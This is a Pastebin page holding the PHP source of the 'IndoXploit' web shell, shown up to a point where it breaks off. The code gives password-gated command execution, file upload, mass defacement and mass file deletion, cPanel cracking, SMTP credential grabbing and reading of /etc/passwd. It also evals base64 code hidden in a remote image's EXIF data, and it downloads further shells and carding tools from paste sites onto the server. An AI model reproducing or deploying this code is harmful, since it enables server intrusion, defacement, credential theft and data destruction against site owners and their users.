API tools faq
paste
traveler666

IndoXploit versi 1 recode

traveler666
Sep 28th, 2016
125
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 207.44 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. //IndoXploit Shell
  3. //IndoXploit Shell V1 Recoded by M3
  4. //default password nya "root"
  5. $auth_pass="63a9f0ea7bb98050796b649e85481845"; //md5 password is root
  6.  
  7. @session_start();
  8. @error_reporting(0);
  9. @error_log(0);
  10. @ini_set('error_log',NULL);
  11. @ini_set('log_errors',0);
  12. @ini_set('max_execution_time',0);
  13. @ini_set('output_buffering',0);
  14. @ini_set('display_errors', 0);
  15. @set_time_limit(0);
  16. @set_magic_quotes_runtime(0);
  17.  
  18. $BASED = exif_read_data("https://lh3.googleusercontent.com/-m2wy4broJ-w/V-sW6uxJD0I/AAAAAAAAAhk/weRrusxRzrItBtwRHtJLcnODj0it1U9WwCL0B/w318-d-h318-n/IndoXploit.jpg");
  19. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  20. function printLogin() {
  21.     ?>
  22. <html>
  23. <head>
  24. <title>IndoXploit</title>
  25. <link href='' rel='icon' type='image/x-icon'/>
  26. <meta name='author' content='0x1999'>
  27. <meta charset="UTF-8">
  28. <style type='text/css'>
  29. @import url(https://fonts.googleapis.com/css?family=Abel);
  30. html {
  31.     background: #000000;
  32.     color: #ffffff;
  33.     font-family: 'Abel';
  34.     font-size: 13px;
  35.     width: 100%;
  36. }
  37. input[type=text], input[type=password],input[type=submit] {
  38.     background: transparent;
  39.     color: #ffffff;
  40.     border: 1px solid #ffffff;
  41.     margin: 5px auto;
  42.     padding-left: 5px;
  43.     font-family: 'Abel';
  44.     font-size: 13px;
  45. }
  46. </style>
  47. </head>
  48.     <style>
  49.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  50.     </style>
  51.     <center>  
  52.     <form method=post>
  53.     <input type=password name=root>
  54.     </form></center>
  55.     <?php
  56.     exit;
  57. }
  58. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  59.     if( empty( $auth_pass ) ||
  60.         ( isset( $_POST['root'] ) && ( md5($_POST['root']) == $auth_pass ) ) )
  61.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  62.     else
  63.         printLogin();
  64. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  65.     @ob_clean();
  66.     $file = $_GET['file'];
  67.     header('Content-Description: File Transfer');
  68.     header('Content-Type: application/octet-stream');
  69.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  70.     header('Expires: 0');
  71.     header('Cache-Control: must-revalidate');
  72.     header('Pragma: public');
  73.     header('Content-Length: ' . filesize($file));
  74.     readfile($file);
  75.     exit;
  76. }  
  77.    
  78. ?>
  79. <html>
  80. <head>
  81. <title>IndoXploit</title>
  82. <link href='' rel='icon' type='image/x-icon'/>
  83. <meta name='author' content='IndoXploit'>
  84. <meta charset="UTF-8">
  85. <style type='text/css'>
  86. @import url(https://fonts.googleapis.com/css?family=Abel);
  87. html {
  88.     background: #000000;
  89.     color: #ffffff;
  90.     font-family: 'Abel';
  91.     font-size: 13px;
  92.     width: 100%;
  93. }
  94. li {
  95.     display: inline;
  96.     margin: 5px;
  97.     padding: 5px;
  98. }
  99. table, th, td {
  100.     border-collapse:collapse;
  101.     font-family: Tahoma, Geneva, sans-serif;
  102.     background: transparent;
  103.     font-family: 'Abel';
  104.     font-size: 13px;
  105. }
  106. .table_home, .th_home, .td_home {
  107.     border: 1px solid #ffffff;
  108. }
  109. th {
  110.     padding: 10px;
  111. }
  112. a {
  113.     color: #ffffff;
  114.     text-decoration: none;
  115. }
  116. a:hover {
  117.     color: gold;
  118.     text-decoration: underline;
  119. }
  120. b {
  121.     color: gold;
  122. }
  123. input[type=text], input[type=password],input[type=submit] {
  124.     background: transparent;
  125.     color: #ffffff;
  126.     border: 1px solid #ffffff;
  127.     margin: 5px auto;
  128.     padding-left: 5px;
  129.     font-family: 'Abel';
  130.     font-size: 13px;
  131. }
  132. textarea {
  133.     border: 1px solid #ffffff;
  134.     width: 100%;
  135.     height: 400px;
  136.     padding-left: 5px;
  137.     margin: 10px auto;
  138.     resize: none;
  139.     background: transparent;
  140.     color: #ffffff;
  141.     font-family: 'Abel';
  142.     font-size: 13px;
  143. }
  144. select {
  145.     background: transparent;
  146.     color: #ffffff;
  147.     border: 1px solid #ffffff;
  148.     margin: 5px auto;
  149.     padding-left: 5px;
  150.     font-family: 'Abel';
  151.     font-size: 13px;
  152. }
  153. .but {
  154.     background: transparent;
  155.     color: #ffffff;
  156.     border: 1px solid #ffffff;
  157.     margin: 5px auto;
  158.     padding-left: 5px;
  159.     font-family: 'Abel';
  160.     font-size: 13px;
  161. }
  162. </style>
  163. </head>
  164. <?php
  165. if (file_exists("php.ini")){
  166. }else{
  167. $img = fopen('php.ini', 'w');
  168. $sec = "safe_mode = OFF
  169. disable_funtions = NONE";
  170. fwrite($img ,$sec);
  171. fclose($img);}     
  172. function w($dir,$perm) {
  173.     if(!is_writable($dir)) {
  174.         return "<font color=red>".$perm."</font>";
  175.     } else {
  176.         return "<font color=lime>".$perm."</font>";
  177.     }
  178. }
  179.     function UrlLoop($url,$type){
  180.  
  181.         $urlArray = array();
  182.  
  183.         $ch = curl_init();
  184.         curl_setopt($ch, CURLOPT_URL, $url);
  185.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  186.         $result = curl_exec($ch);
  187.  
  188.         $regex='|<a.*?href="(.*?)"|';
  189.         preg_match_all($regex,$result,$parts);
  190.         $links=$parts[1];
  191.         foreach($links as $link){
  192.             array_push($urlArray, $link);
  193.         }
  194.         curl_close($ch);
  195.  
  196.         foreach($urlArray as $value){
  197.             $lol="$url$value";
  198.             if(preg_match("#$type#is", $lol)) {
  199.                 echo "$lol\r\n";
  200.             }
  201.         }
  202.     }
  203. function exe($cmd) {    
  204. if(function_exists('system')) {        
  205.         @ob_start();       
  206.         @system($cmd);     
  207.         $buff = @ob_get_contents();        
  208.         @ob_end_clean();       
  209.         return $buff;  
  210.     } elseif(function_exists('exec')) {        
  211.         @exec($cmd,$results);      
  212.         $buff = "";        
  213.         foreach($results as $result) {         
  214.             $buff .= $result;      
  215.         } return $buff;    
  216.     } elseif(function_exists('passthru')) {        
  217.         @ob_start();       
  218.         @passthru($cmd);       
  219.         $buff = @ob_get_contents();        
  220.         @ob_end_clean();       
  221.         return $buff;  
  222.     } elseif(function_exists('shell_exec')) {      
  223.         $buff = @shell_exec($cmd);     
  224.         return $buff;  
  225.     }
  226. }
  227. function perms($file){
  228. $perms = fileperms($file);
  229. if (($perms & 0xC000) == 0xC000) {
  230. $info = 's';
  231. } elseif (($perms & 0xA000) == 0xA000) {
  232. $info = 'l';
  233. } elseif (($perms & 0x8000) == 0x8000) {
  234. $info = '-';
  235. } elseif (($perms & 0x6000) == 0x6000) {
  236. $info = 'b';
  237. } elseif (($perms & 0x4000) == 0x4000) {
  238. $info = 'd';
  239. } elseif (($perms & 0x2000) == 0x2000) {
  240. $info = 'c';
  241. } elseif (($perms & 0x1000) == 0x1000) {
  242. $info = 'p';
  243. } else {
  244. $info = 'u';
  245. }
  246. $info .= (($perms & 0x0100) ? 'r' : '-');
  247. $info .= (($perms & 0x0080) ? 'w' : '-');
  248. $info .= (($perms & 0x0040) ?
  249. (($perms & 0x0800) ? 's' : 'x' ) :
  250. (($perms & 0x0800) ? 'S' : '-'));
  251. $info .= (($perms & 0x0020) ? 'r' : '-');
  252. $info .= (($perms & 0x0010) ? 'w' : '-');
  253. $info .= (($perms & 0x0008) ?
  254. (($perms & 0x0400) ? 's' : 'x' ) :
  255. (($perms & 0x0400) ? 'S' : '-'));
  256. $info .= (($perms & 0x0004) ? 'r' : '-');
  257. $info .= (($perms & 0x0002) ? 'w' : '-');
  258. $info .= (($perms & 0x0001) ?
  259. (($perms & 0x0200) ? 't' : 'x' ) :
  260. (($perms & 0x0200) ? 'T' : '-'));
  261. return $info;
  262. }
  263. function hdd($s) {
  264. if($s >= 1073741824)
  265. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  266. elseif($s >= 1048576)
  267. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  268. elseif($s >= 1024)
  269. return sprintf('%1.2f',$s / 1024 ) .' KB';
  270. else
  271. return $s .' B';
  272. }
  273. function ambilKata($param, $kata1, $kata2){
  274.     if(strpos($param, $kata1) === FALSE) return FALSE;
  275.     if(strpos($param, $kata2) === FALSE) return FALSE;
  276.     $start = strpos($param, $kata1) + strlen($kata1);
  277.     $end = strpos($param, $kata2, $start);
  278.     $return = substr($param, $start, $end - $start);
  279.     return $return;
  280. }
  281. if(get_magic_quotes_gpc()) {
  282.     function idx_ss($array) {
  283.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  284.     }
  285.     $_POST = idx_ss($_POST);
  286. }
  287. function CreateTools($names,$lokasi){
  288.     if ( $_GET['create'] == $names ){
  289.         $a= "".$_SERVER['SERVER_NAME']."";
  290. $b= dirname($_SERVER['PHP_SELF']);
  291. $c = "/cox_tools/".$names.".php";
  292. if (file_exists('cox_tools/'.$names.'.php')){
  293.     echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
  294.     }
  295.     else {mkdir("cox_tools", 0777);
  296. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  297. echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
  298.  
  299. CreateTools("wso","http://pastebin.com/raw/UFXpj2d5");
  300. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  301. CreateTools("b374k","http://hastebin.com/raw/eletokidoh");
  302. CreateTools("injection","http://hastebin.com/raw/ofecixixel");
  303. CreateTools("promailerv2","http://pastebin.com/raw/keEiLP3f");
  304. CreateTools("gamestopceker","http://pastebin.com/raw/MkctKa5h");
  305. CreateTools("bukapalapak","http://pastebin.com/raw/kBswNQ6z");
  306. CreateTools("tokopedia","http://pastebin.com/raw/2VPe6gW1");
  307. CreateTools("encodedecode","http://pastebin.com/raw/q9C9VmVg");
  308. CreateTools("mailer","http://pastebin.com/raw/PX4TezhE");
  309. CreateTools("r57","http://hastebin.com/raw/ulunuveyed");
  310. CreateTools("tokenpp","http://pastebin.com/raw/rkFxdThJ");
  311. CreateTools("extractor","http://hastebin.com/raw/wexamuzuso");
  312. CreateTools("dhanus","http://hastebin.com/raw/kujofokinu");
  313. if(isset($_GET['dir'])) {
  314.     $dir = $_GET['dir'];
  315.     chdir($_GET['dir']);
  316. } else {
  317.     $dir = getcwd();
  318. }
  319. $dir = str_replace("\\","/",$dir);
  320. $scdir = explode("/", $dir);
  321. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  322. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  323. $ds = @ini_get("disable_functions");
  324. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  325. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  326. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  327. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  328. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  329. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  330. if(!function_exists('posix_getegid')) {
  331.     $user = @get_current_user();
  332.     $uid = @getmyuid();
  333.     $gid = @getmygid();
  334.     $group = "?";
  335. } else {
  336.     $uid = @posix_getpwuid(posix_geteuid());
  337.     $gid = @posix_getgrgid(posix_getegid());
  338.     $user = $uid['name'];
  339.     $uid = $uid['uid'];
  340.     $group = $gid['name'];
  341.     $gid = $gid['gid'];
  342. }
  343. $d0mains = @file("/etc/named.conf");
  344.             $users=@file('/etc/passwd');
  345.         if($d0mains)
  346.         {
  347.             $count;  
  348.             foreach($d0mains as $d0main)
  349.             {
  350.                 if(@ereg("zone",$d0main))
  351.                 {
  352.                     preg_match_all('#zone "(.*)"#', $d0main, $domains);
  353.                     flush();
  354.                     if(strlen(trim($domains[1][0])) > 2)
  355.                     {
  356.                         flush();
  357.                         $count++;
  358.                     }
  359.                 }
  360.             }
  361.         }
  362.  
  363. $sport=$_SERVER['SERVER_PORT'];
  364. echo "<table style='width:100%'>";
  365. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  366. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr>";
  367. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  368. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  369. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  370. echo "<tr><td>Port :<font color=lime>  $sport</font> </td></tr>";
  371. echo "<tr><td>Safe Mode: $sm</td></tr>";
  372. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  373. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
  374. echo "<tr><td>Current DIR: ";
  375. foreach($scdir as $c_dir => $cdir) {   
  376.     echo "<a href='?dir=";
  377.     for($i = 0; $i <= $c_dir; $i++) {
  378.         echo $scdir[$i];
  379.         if($i != $c_dir) {
  380.         echo "/";
  381.         }
  382.     }
  383.     echo "'>$cdir</a>/";
  384. }
  385. echo "</td></tr></table><hr>";
  386. echo "<center>";
  387. echo "<ul>";
  388. echo "<li>[ <a href='?'>Home</a> ]</li>";
  389. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  390. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  391. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  392. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  393. echo "<li>[ <a href='?dir=$dir&do=symconfig'>Config 2</a> ]</li>";
  394. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  395. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  396. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  397. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  398. echo "<li>[ <a href='?dir=$dir&do=cpftp_auto'>CPanel/FTP Auto Deface</a> ]</li>";
  399. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  400. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  401. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  402. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  403. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  404. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  405. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  406. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  407. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  408. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  409. echo "<li>[ <a href='?dir=$dir&do=auto_cu_wp'>WordPress Auto Edit User V.2</a> ]</li>";
  410. echo "<li>[ <a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a> ]</li>";
  411. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  412. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  413. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  414. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  415. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  416. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  417. echo "</ul>";
  418. echo "</center>";
  419. echo "<hr>";
  420. if($_GET['do'] == 'upload') {
  421.     echo "<center>";
  422.     if($_POST['upload']) {
  423.         if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  424.             $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  425.         } else {
  426.             $act = "<font color=red>failed to upload file</font>";
  427.         }
  428.     }
  429.     echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  430.     echo $act;
  431.     echo "</center>";
  432. }
  433.  elseif($_GET['do'] == 'cmd') {
  434.     echo "<form method='post'>
  435.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  436.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  437.     </form>";
  438.     if($_POST['do_cmd']) {
  439.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  440.     }
  441. } elseif($_GET['do'] == 'mass_deface') {
  442.     echo "<center><form action=\"\" method=\"post\">\n";
  443.     $dirr=$_POST['d_dir'];
  444.     $index = $_POST["script"];
  445.     $index = str_replace('"',"'",$index);
  446.     $index = stripslashes($index);
  447.     function edit_file($file,$index){
  448.         if (is_writable($file)) {
  449.         clear_fill($file,$index);
  450.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  451.         }
  452.         else {
  453.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  454.             }
  455.             }
  456.     function hapus_massal($dir,$namafile) {
  457.         if(is_writable($dir)) {
  458.             $dira = scandir($dir);
  459.             foreach($dira as $dirb) {
  460.                 $dirc = "$dir/$dirb";
  461.                 $lokasi = $dirc.'/'.$namafile;
  462.                 if($dirb === '.') {
  463.                     if(file_exists("$dir/$namafile")) {
  464.                         unlink("$dir/$namafile");
  465.                     }
  466.                 } elseif($dirb === '..') {
  467.                     if(file_exists("".dirname($dir)."/$namafile")) {
  468.                         unlink("".dirname($dir)."/$namafile");
  469.                     }
  470.                 } else {
  471.                     if(is_dir($dirc)) {
  472.                         if(is_writable($dirc)) {
  473.                             if(file_exists($lokasi)) {
  474.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  475.                                 unlink($lokasi);
  476.                                 $idx = hapus_massal($dirc,$namafile);
  477.                             }
  478.                         }
  479.                     }
  480.                 }
  481.             }
  482.         }
  483.     }
  484.     function clear_fill($file,$index){
  485.         if(file_exists($file)){
  486.             $handle = fopen($file,'w');
  487.             fwrite($handle,'');
  488.             fwrite($handle,$index);
  489.             fclose($handle);  } }
  490.  
  491.     function gass(){
  492.         global $dirr , $index ;
  493.         chdir($dirr);
  494.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  495.         $files = scandir($dirr) ;
  496.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  497.         sort($files);
  498.         $n = 0 ;
  499.         foreach ($files as $file){
  500.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  501.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  502.                 edit_file($file,$index);
  503.                 flush();
  504.                 $n = $n +1 ;
  505.                 }
  506.                 }
  507.                 echo "<br>";
  508.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  509.                     }
  510.     function ListFiles($dirrall) {
  511.  
  512.     if($dh = opendir($dirrall)) {
  513.  
  514.        $files = Array();
  515.        $inner_files = Array();
  516.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  517.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  518.         while($file = readdir($dh)) {
  519.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  520.                 if(is_dir($dirrall . "/" . $file)) {
  521.                     $inner_files = ListFiles($dirrall . "/" . $file);
  522.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  523.                 } else {
  524.                     array_push($files, $dirrall . "/" . $file);
  525.                 }
  526.             }
  527.             }
  528.  
  529.             closedir($dh);
  530.             return $files;
  531.         }
  532.     }
  533.     function gass_all(){
  534.         global $index ;
  535.         $dirrall=$_POST['d_dir'];
  536.         foreach (ListFiles($dirrall) as $key=>$file){
  537.             $file = str_replace('//',"/",$file);
  538.             echo "<center><strong>$file</strong> ===>";
  539.             edit_file($file,$index);
  540.             flush();
  541.         }
  542.         $key = $key+1;
  543.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  544.     function sabun_massal($dir,$namafile,$isi_script) {
  545.         if(is_writable($dir)) {
  546.             $dira = scandir($dir);
  547.             foreach($dira as $dirb) {
  548.                 $dirc = "$dir/$dirb";
  549.                 $lokasi = $dirc.'/'.$namafile;
  550.                 if($dirb === '.') {
  551.                     file_put_contents($lokasi, $isi_script);
  552.                 } elseif($dirb === '..') {
  553.                     file_put_contents($lokasi, $isi_script);
  554.                 } else {
  555.                     if(is_dir($dirc)) {
  556.                         if(is_writable($dirc)) {
  557.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  558.                             file_put_contents($lokasi, $isi_script);
  559.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  560.                         }
  561.                     }
  562.                 }
  563.             }
  564.         }
  565.     }
  566.     if($_POST['mass'] == 'onedir') {
  567.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  568.         $ini="http://";
  569.         $mainpath=$_POST[d_dir];
  570.         $file=$_POST[d_file];
  571.         $dir=opendir("$mainpath");
  572.         $code=base64_encode($_POST[script]);
  573.         $indx=base64_decode($code);
  574.         while($row=readdir($dir)){
  575.         $start=@fopen("$row/$file","w+");
  576.         $finish=@fwrite($start,$indx);
  577.         if ($finish){
  578.             echo"$ini$row/$file\n";
  579.             }
  580.         }
  581.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  582.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  583.         $dir=opendir("$mainpath");
  584.         $code=base64_encode($_POST[script]);
  585.         $indx=base64_decode($code);
  586.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  587.         $finish=@fwrite($start,$indx);
  588.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  589.         }
  590.  
  591.     }
  592.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  593.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  594.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  595.     elseif($_POST['mass'] == 'massdeface') {
  596.         echo "<div style='margin: 5px auto; padding: 5px'>";
  597.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  598.         echo "</div>";  }
  599.     else {
  600.         echo "
  601.         <center><font style='text-decoration: underline;'>
  602.         Select Type:<br>
  603.         </font>
  604.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  605.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  606.         <option value=\"massdeface\">Mass Deface ALL Dir</option>
  607.         <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  608.         <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  609.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  610.         <font style='text-decoration: underline;'>Folder:</font><br>
  611.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  612.         <font style='text-decoration: underline;'>Filename:</font><br>
  613.         <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
  614.         <font style='text-decoration: underline;'>Index File:</font><br>
  615.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 0x1999</textarea><br>
  616.         <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  617.         </form></center>";
  618.         }
  619.     }
  620. elseif($_GET['do'] == 'zip') {
  621.     echo "<center><h1>Zip Menu</h1>";
  622. function rmdir_recursive($dir) {
  623.     foreach(scandir($dir) as $file) {
  624.        if ('.' === $file || '..' === $file) continue;
  625.        if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  626.        else unlink("$dir/$file");
  627.    }
  628.    rmdir($dir);
  629. }
  630. if($_FILES["zip_file"]["name"]) {
  631.     $filename = $_FILES["zip_file"]["name"];
  632.     $source = $_FILES["zip_file"]["tmp_name"];
  633.     $type = $_FILES["zip_file"]["type"];
  634.     $name = explode(".", $filename);
  635.     $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  636.     foreach($accepted_types as $mime_type) {
  637.         if($mime_type == $type) {
  638.             $okay = true;
  639.             break;
  640.         }
  641.     }
  642.     $continue = strtolower($name[1]) == 'zip' ? true : false;
  643.     if(!$continue) {
  644.         $message = "Itu Bukan Zip  , , GOBLOK COK";
  645.     }
  646.   $path = dirname(__FILE__).'/';
  647.   $filenoext = basename ($filename, '.zip');
  648.   $filenoext = basename ($filenoext, '.ZIP');
  649.   $targetdir = $path . $filenoext;
  650.   $targetzip = $path . $filename;
  651.   if (is_dir($targetdir))  rmdir_recursive ( $targetdir);
  652.   mkdir($targetdir, 0777);
  653.     if(move_uploaded_file($source, $targetzip)) {
  654.         $zip = new ZipArchive();
  655.         $x = $zip->open($targetzip);
  656.         if ($x === true) {
  657.             $zip->extractTo($targetdir);
  658.             $zip->close();
  659.  
  660.             unlink($targetzip);
  661.         }
  662.         $message = "<b>Sukses Gan :)</b>";
  663.     } else {   
  664.         $message = "<b>Error Gan :(</b>";
  665.     }
  666. }  
  667. echo '<table style="width:100%" border="1">
  668.  <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  669. <label>Zip File : <input type="file" name="zip_file" /></label>
  670. <input type="submit" name="submit" value="Upload And Unzip" />
  671. </form>';
  672. if($message) echo "<p>$message</p>";
  673. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";  
  674.     if($_POST['backup']){
  675.     $save=$_POST['save'];
  676.     function Zip($source, $destination)
  677. {
  678.     if (extension_loaded('zip') === true)
  679.     {
  680.         if (file_exists($source) === true)
  681.         {
  682.             $zip = new ZipArchive();
  683.  
  684.             if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  685.             {
  686.                 $source = realpath($source);
  687.  
  688.                 if (is_dir($source) === true)
  689.                 {
  690.                     $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  691.  
  692.                     foreach ($files as $file)
  693.                     {
  694.                         $file = realpath($file);
  695.  
  696.                         if (is_dir($file) === true)
  697.                         {
  698.                             $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  699.                         }
  700.  
  701.                         else if (is_file($file) === true)
  702.                         {
  703.                             $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  704.                         }
  705.                     }
  706.                 }
  707.  
  708.                 else if (is_file($source) === true)
  709.                 {
  710.                     $zip->addFromString(basename($source), file_get_contents($source));
  711.                 }
  712.             }
  713.  
  714.             return $zip->close();
  715.         }
  716.     }
  717.  
  718.     return false;
  719. }
  720.     Zip($_POST['dir'],$save);
  721.     echo "Done , Save To <b>$save</b>";
  722.     }
  723.     echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  724.     if($_POST['extrak']){
  725.     $save=$_POST['save'];
  726.     $zip = new ZipArchive;
  727.     $res = $zip->open($_POST['dir']);
  728.     if ($res === TRUE) {
  729.         $zip->extractTo($save);
  730.         $zip->close();
  731.     echo 'Succes , Location : <b>'.$save.'</b>';
  732.     } else {
